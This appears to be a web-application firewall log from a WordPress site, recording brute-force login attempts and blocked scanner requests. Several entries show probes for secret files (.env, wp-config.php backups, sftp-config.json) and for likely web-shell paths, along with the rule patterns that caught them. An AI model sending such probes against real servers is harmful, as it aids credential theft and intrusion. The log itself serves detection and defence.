[Fri Dec 19 12:44:42.370892 2025] [:error] [pid 20582:tid 20643] [client 45.128.199.226:47721] [client 45.128.199.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTYOspAnrkQKZ4b5ganNQAAAME"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:44:49.475034 2025] [:error] [pid 20580:tid 20589] [client 45.128.199.55:64109] [client 45.128.199.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTYQUmd1op_YdAdgR0KlgAAAEM"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:44:54.117035 2025] [:error] [pid 20580:tid 20598] [client 45.128.199.55:64109] [client 45.128.199.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTYRkmd1op_YdAdgR0KnwAAAEw"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:45:24.925330 2025] [:error] [pid 20582:tid 20658] [client 45.128.199.220:46885] [client 45.128.199.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTYZMpAnrkQKZ4b5ganugAAANA"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:45:29.901715 2025] [:error] [pid 20582:tid 20660] [client 45.128.199.220:46885] [client 45.128.199.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTYacpAnrkQKZ4b5ganvwAAANI"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:45:48.278330 2025] [:error] [pid 20582:tid 20642] [client 45.128.199.68:48441] [client 45.128.199.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.68, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTYfMpAnrkQKZ4b5gan1AAAAMA"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:46:03.671848 2025] [:error] [pid 20581:tid 20620] [client 45.128.199.62:51313] [client 45.128.199.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTYi_xEv7WXNhnFD1kBDQAAAIU"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:46:18.113004 2025] [:error] [pid 20580:tid 20591] [client 45.128.199.196:24143] [client 45.128.199.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTYmkmd1op_YdAdgR0LPgAAAEU"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:46:23.213337 2025] [:error] [pid 20580:tid 20597] [client 45.128.199.196:24143] [client 45.128.199.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTYn0md1op_YdAdgR0LQgAAAEs"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:46:34.179917 2025] [:error] [pid 20582:tid 20652] [client 45.128.199.64:45933] [client 45.128.199.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.64, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTYqspAnrkQKZ4b5gan-wAAAMo"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:46:39.282938 2025] [:error] [pid 20582:tid 20643] [client 45.128.199.64:45933] [client 45.128.199.64] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.64, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTYr8pAnrkQKZ4b5gaoAwAAAME"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:46:47.772711 2025] [:error] [pid 20675:tid 20708] [client 45.128.199.65:20891] [client 45.128.199.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTYt7MyJ3XqeDRsbQnCGAAAARQ"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:46:52.715495 2025] [:error] [pid 20675:tid 20706] [client 45.128.199.65:20891] [client 45.128.199.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTYvLMyJ3XqeDRsbQnCLAAAARI"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:47:00.824742 2025] [:error] [pid 20581:tid 20635] [client 45.128.199.49:64395] [client 45.128.199.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.49, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTYxPxEv7WXNhnFD1kBcQAAAJQ"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:47:08.330019 2025] [:error] [pid 20581:tid 20635] [client 45.128.199.49:64395] [client 45.128.199.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.49, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTYzPxEv7WXNhnFD1kBgQAAAJQ"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:47:46.891895 2025] [:error] [pid 20582:tid 20666] [client 45.128.199.184:54197] [client 45.128.199.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTY8spAnrkQKZ4b5gaoaAAAANg"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:47:56.147522 2025] [:error] [pid 20581:tid 20629] [client 45.128.199.43:54635] [client 45.128.199.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTY_PxEv7WXNhnFD1kBtwAAAI4"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:48:04.931971 2025] [:error] [pid 20581:tid 20628] [client 45.128.199.43:54635] [client 45.128.199.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZBPxEv7WXNhnFD1kBvwAAAI0"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:48:36.608630 2025] [:error] [pid 20580:tid 20588] [client 45.8.17.52:56077] [client 45.8.17.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.8.17.52, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZJEmd1op_YdAdgR0MOQAAAEI"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:48:54.717618 2025] [:error] [pid 20675:tid 20691] [client 45.128.199.184:43729] [client 45.128.199.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZNrMyJ3XqeDRsbQnDVQAAAQM"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:49:06.363608 2025] [:error] [pid 20580:tid 20605] [client 45.128.199.46:25975] [client 45.128.199.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZQkmd1op_YdAdgR0MVwAAAFM"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:49:11.102047 2025] [:error] [pid 20580:tid 20603] [client 45.128.199.46:25975] [client 45.128.199.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZR0md1op_YdAdgR0MWgAAAFE"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:49:21.174860 2025] [:error] [pid 20675:tid 20691] [client 45.128.199.186:56225] [client 45.128.199.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZUbMyJ3XqeDRsbQnDgwAAAQM"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:49:25.824454 2025] [:error] [pid 20675:tid 20704] [client 45.128.199.186:56225] [client 45.128.199.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZVbMyJ3XqeDRsbQnDiwAAARA"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:49:38.782589 2025] [:error] [pid 20582:tid 20653] [client 45.128.199.182:41123] [client 45.128.199.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZYspAnrkQKZ4b5gao_gAAAMs"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:49:43.910047 2025] [:error] [pid 20582:tid 20658] [client 45.128.199.182:41123] [client 45.128.199.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZZ8pAnrkQKZ4b5gapBgAAANA"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:49:56.469119 2025] [:error] [pid 20675:tid 20691] [client 45.128.199.48:44781] [client 45.128.199.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.48, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZdLMyJ3XqeDRsbQnD3wAAAQM"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:50:01.292509 2025] [:error] [pid 20675:tid 20704] [client 45.128.199.48:44781] [client 45.128.199.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.48, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZebMyJ3XqeDRsbQnD6wAAARA"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:50:19.753515 2025] [:error] [pid 20580:tid 20603] [client 45.128.199.62:25599] [client 45.128.199.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZi0md1op_YdAdgR0MuwAAAFE"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:50:28.691777 2025] [:error] [pid 20580:tid 20602] [client 45.128.199.62:25599] [client 45.128.199.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.62, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZlEmd1op_YdAdgR0MyQAAAFA"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:50:39.478141 2025] [:error] [pid 20675:tid 20704] [client 45.128.199.53:51965] [client 45.128.199.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZn7MyJ3XqeDRsbQnEJgAAARA"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:50:45.356539 2025] [:error] [pid 20675:tid 20688] [client 45.128.199.53:51965] [client 45.128.199.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.53, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZpbMyJ3XqeDRsbQnEOQAAAQA"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:50:57.902712 2025] [:error] [pid 20581:tid 20639] [client 45.128.199.249:37719] [client 45.128.199.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.249, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZsfxEv7WXNhnFD1kDEwAAAJg"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:51:02.890139 2025] [:error] [pid 20581:tid 20617] [client 45.128.199.249:37719] [client 45.128.199.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.249, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZtvxEv7WXNhnFD1kDHgAAAII"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:51:08.491125 2025] [:error] [pid 20580:tid 20603] [client 45.128.199.196:31415] [client 45.128.199.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZvEmd1op_YdAdgR0M_gAAAFE"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:51:13.107969 2025] [:error] [pid 20580:tid 20590] [client 45.128.199.196:31415] [client 45.128.199.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.196, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZwUmd1op_YdAdgR0NBgAAAEQ"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:51:24.443575 2025] [:error] [pid 20582:tid 20658] [client 45.128.199.56:61843] [client 45.128.199.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZzMpAnrkQKZ4b5gapcAAAANA"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 12:51:28.949220 2025] [:error] [pid 20582:tid 20648] [client 45.128.199.56:61843] [client 45.128.199.56] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.56, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUTZ0MpAnrkQKZ4b5gapeQAAAMY"], referer: https://gigfragments.org/wp-admin/
[Fri Dec 19 14:03:48.853936 2025] [:error] [pid 20675:tid 20695] [client 36.50.92.79:59490] [client 36.50.92.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aUTqxLMyJ3XqeDRsbQnp0gAAAQc"]
[Fri Dec 19 14:03:51.521543 2025] [:error] [pid 20675:tid 20697] [client 36.50.92.79:59595] [client 36.50.92.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php.bak"] [unique_id "aUTqx7MyJ3XqeDRsbQnp2AAAAQk"]
[Fri Dec 19 14:03:53.362699 2025] [:error] [pid 20580:tid 20590] [client 36.50.92.79:59676] [client 36.50.92.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-config.php~"] [unique_id "aUTqyUmd1op_YdAdgR0jggAAAEQ"]
[Fri Dec 19 14:04:12.670063 2025] [:error] [pid 20582:tid 20665] [client 36.50.92.79:60439] [client 36.50.92.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aUTq3MpAnrkQKZ4b5ga-dwAAANc"]
[Fri Dec 19 14:57:22.119642 2025] [:error] [pid 20581:tid 20632] [client 182.44.12.37:39473] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aUT3UvxEv7WXNhnFD1kmIAAAAJE"]
[Fri Dec 19 18:48:37.029602 2025] [:error] [pid 20580:tid 20587] [client 52.187.119.223:20040] [client 52.187.119.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.187.119.223, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUUthUmd1op_YdAdgR13yAAAAEE"]
[Fri Dec 19 18:48:38.122115 2025] [:error] [pid 20580:tid 20609] [client 52.187.119.223:20040] [client 52.187.119.223] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.187.119.223, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUUthkmd1op_YdAdgR13ywAAAFc"]
[Fri Dec 19 18:48:45.950611 2025] [:error] [pid 20675:tid 20697] [client 52.187.119.223:19980] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aUUtjbMyJ3XqeDRsbQlpLQAAAQk"]
[Fri Dec 19 18:48:46.146058 2025] [:error] [pid 20581:tid 20620] [client 52.187.119.223:20090] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aUUtjvxEv7WXNhnFD1lhywAAAIU"]
[Fri Dec 19 18:48:46.420258 2025] [:error] [pid 20581:tid 20626] [client 52.187.119.223:19978] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aUUtjvxEv7WXNhnFD1lhzAAAAIs"]
[Fri Dec 19 18:48:46.651228 2025] [:error] [pid 20675:tid 20705] [client 52.187.119.223:19989] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "aUUtjrMyJ3XqeDRsbQlpMAAAARE"]
[Fri Dec 19 18:48:46.855920 2025] [:error] [pid 20675:tid 20701] [client 52.187.119.223:20060] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aUUtjrMyJ3XqeDRsbQlpMwAAAQ0"]
[Fri Dec 19 18:48:47.061273 2025] [:error] [pid 20581:tid 20634] [client 52.187.119.223:20077] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aUUtj_xEv7WXNhnFD1lhzQAAAJM"]
[Fri Dec 19 18:48:47.321984 2025] [:error] [pid 20581:tid 20637] [client 52.187.119.223:19968] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aUUtj_xEv7WXNhnFD1lhzgAAAJY"]
[Fri Dec 19 18:48:47.572012 2025] [:error] [pid 20582:tid 20654] [client 52.187.119.223:20056] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/minik.php"] [unique_id "aUUtj8pAnrkQKZ4b5gYM8AAAAMw"]
[Fri Dec 19 18:48:47.780218 2025] [:error] [pid 20582:tid 20645] [client 52.187.119.223:20072] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/OK.php"] [unique_id "aUUtj8pAnrkQKZ4b5gYM8QAAAMM"]
[Fri Dec 19 18:48:48.164230 2025] [:error] [pid 20580:tid 20593] [client 52.187.119.223:20064] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/OK.php"] [unique_id "aUUtkEmd1op_YdAdgR131gAAAEc"]
